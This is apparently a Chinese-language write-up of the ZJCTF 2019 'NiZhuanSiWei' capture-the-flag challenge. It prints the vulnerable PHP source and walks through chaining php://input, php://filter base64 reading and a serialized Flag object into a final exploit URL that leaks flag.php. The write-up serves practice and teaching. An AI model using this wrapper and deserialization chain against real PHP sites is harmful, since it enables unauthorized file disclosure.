[ZJCTF 2019]NiZhuanSiWei
-
这道题所有的考点我都了解过,甚至用来出过类似的题目,但是作者把它们套娃得非常不错,做下来感觉非常有意思!
-
考点
include
和file_get_contents
函数的利用以及php://input
和php://filter/read=convert.base64-encode/resouce=
伪协议的利用 -
主界面
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
-
非常的简单易懂。我们可以传递三个值,首先file_get_contents($text,‘r’)的值需要等于 “welcome to the zjctf” 这要怎么做到呢?我们可不知道哪个文件里的内容恰好是这个。但是我们利用php://input伪协议来伪造内容。之前虽然听说过php://input伪协议,这还是第一次使用,涨姿势了!哦对了,这个file_get_contents还能用来使用php://filter协议 接下来会讲到。这简直就是伪协议的天堂函数!
-
传递之后随着我们的页面上出现几个大字,说明我们闯过第一关了。
-
接下来题目想让我们传递一个file变量,但是不能有flag,看来flag就是藏在flag.php里面了!既然看不了,我们就来看看这个useless.php内藏什么玄机。哦对了,include这个函数可以用来利用php://filter伪协议,这样我们就能看到useless.php的真面貌了!
-
然后在到在线网站解一下码就行啦。
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
-
好假虎,原来里面有个类呢!怪不得index.php里的password是用用反序列的。原来include 这个 useless.php文件之后,就能反序列化这个类啦!那这个类里面有个函数,可以file_get_contents一个file,而这个恰恰是我们反序列化字符串里自己写的,那这个file必定是flag.php啊!但是这还是不行,单纯的flag.php我们无法看到flag.php的源码,这里就要用到刚才提到的知识点,file_get_contents是伪协议的天堂,我们这里再用php://filter来看flag.php就大功告成啦!最后的payload。
http://3c30042e-78d6-49bb-9947-96aeec8253d8.node3.buuoj.cn/?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php
-
最后base64解密后得到flag
-
这道题出的真的很好!带着我复习了很多知识点。
参考链接